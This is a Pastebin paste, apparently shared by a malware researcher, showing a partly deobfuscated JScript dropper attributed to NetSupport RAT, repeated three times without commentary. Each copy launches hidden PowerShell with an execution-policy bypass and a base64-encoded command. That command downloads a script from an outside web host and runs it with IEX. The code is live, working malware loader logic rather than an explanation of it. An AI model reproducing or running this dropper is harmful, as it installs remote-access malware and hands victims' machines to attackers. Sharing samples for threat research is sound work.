brianyaucy

NetSupportRAT - Obfuscated JavaScript - Deobfuscated 2

Nov 2nd, 2023
756
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //UmExrsgJuDvLhVadkAWOTICPXF
  2. oMKilXfTnLOHCUhAFBP = "sheLl"; YZqOsTxnMmpABJCF = new ActiveXObject(oMKilXfTnLOHCUhAFBP+"."+ //IxqOgMKi
  3. "ApPlIcAtIon"); FkLgcBCiVTGsmxdvpeb = new ActiveXObject("SCRiPtIng.filesystemobJECt"); if (FkLgcBCiVTGsmxdvpeb.FolderExists("C:\\pROgRa"+ //IxqOgMKi
  4. "mdAta\\mIcRosOft\\wINdoWs")) {
  5. //YhALZvBkfyGVcEPoHRNqIM
  6. YZqOsTxnMmpABJCF.ShellExecute("cmd", "/c"+ //IxqOgMKi
  7. " Power"+oMKilXfTnLOHCUhAFBP+" -nop -w hidden "+ //IxqOgMKi
  8. "-ep bypaSS -enC SQ"+ //IxqOgMKi
  9. "BFAFgAIAAoA"+ //IxqOgMKi
  10. "E4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAb"+ //IxqOgMKi
  11. "gB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHI"+ //IxqOgMKi
  12. "AaQBuAGcAKA"+ //IxqOgMKi
  13. "AiAGgAdAB0AHAA"+ //IxqOgMKi
  14. "OgAvAC8"+ //IxqOgMKi
  15. "AMQBvAHQ"+ //IxqOgMKi
  16. "AYQBsAC4AYwBvAG0ALwBpAG4AZABlAHgALwBpAG4AZA"+ //IxqOgMKi
  17. "BlAHgALgBwAGgAcAAiACkA", "", "open", 0); }
  18. //kdbyVceRuXIHitqmTjngWxOZAG
  19. //UmExrsgJuDvLhVadkAWOTICPXF
  20. oMKilXfTnLOHCUhAFBP = "sheLl"; YZqOsTxnMmpABJCF = new ActiveXObject(oMKilXfTnLOHCUhAFBP+"."+ //IxqOgMKi
  21. "ApPlIcAtIon"); FkLgcBCiVTGsmxdvpeb = new ActiveXObject("SCRiPtIng.filesystemobJECt"); if (FkLgcBCiVTGsmxdvpeb.FolderExists("C:\\pROgRa"+ //IxqOgMKi
  22. "mdAta\\mIcRosOft\\wINdoWs")) {
  23. //YhALZvBkfyGVcEPoHRNqIM
  24. YZqOsTxnMmpABJCF.ShellExecute("cmd", "/c"+ //IxqOgMKi
  25. " Power"+oMKilXfTnLOHCUhAFBP+" -nop -w hidden "+ //IxqOgMKi
  26. "-ep bypaSS -enC SQ"+ //IxqOgMKi
  27. "BFAFgAIAAoA"+ //IxqOgMKi
  28. "E4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAb"+ //IxqOgMKi
  29. "gB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHI"+ //IxqOgMKi
  30. "AaQBuAGcAKA"+ //IxqOgMKi
  31. "AiAGgAdAB0AHAA"+ //IxqOgMKi
  32. "OgAvAC8"+ //IxqOgMKi
  33. "AMQBvAHQ"+ //IxqOgMKi
  34. "AYQBsAC4AYwBvAG0ALwBpAG4AZABlAHgALwBpAG4AZA"+ //IxqOgMKi
  35. "BlAHgALgBwAGgAcAAiACkA", "", "open", 0); }
  36. //kdbyVceRuXIHitqmTjngWxOZAG
  37. //UmExrsgJuDvLhVadkAWOTICPXF
  38. oMKilXfTnLOHCUhAFBP = "sheLl"; YZqOsTxnMmpABJCF = new ActiveXObject(oMKilXfTnLOHCUhAFBP+"."+ //IxqOgMKi
  39. "ApPlIcAtIon"); FkLgcBCiVTGsmxdvpeb = new ActiveXObject("SCRiPtIng.filesystemobJECt"); if (FkLgcBCiVTGsmxdvpeb.FolderExists("C:\\pROgRa"+ //IxqOgMKi
  40. "mdAta\\mIcRosOft\\wINdoWs")) {
  41. //YhALZvBkfyGVcEPoHRNqIM
  42. YZqOsTxnMmpABJCF.ShellExecute("cmd", "/c"+ //IxqOgMKi
  43. " Power"+oMKilXfTnLOHCUhAFBP+" -nop -w hidden "+ //IxqOgMKi
  44. "-ep bypaSS -enC SQ"+ //IxqOgMKi
  45. "BFAFgAIAAoA"+ //IxqOgMKi
  46. "E4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAb"+ //IxqOgMKi
  47. "gB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHI"+ //IxqOgMKi
  48. "AaQBuAGcAKA"+ //IxqOgMKi
  49. "AiAGgAdAB0AHAA"+ //IxqOgMKi
  50. "OgAvAC8"+ //IxqOgMKi
  51. "AMQBvAHQ"+ //IxqOgMKi
  52. "AYQBsAC4AYwBvAG0ALwBpAG4AZABlAHgALwBpAG4AZA"+ //IxqOgMKi
  53. "BlAHgALgBwAGgAcAAiACkA", "", "open", 0); }
  54. //kdbyVceRuXIHitqmTjngWxOZAG
Advertisement
Add Comment
Please, Sign In to add comment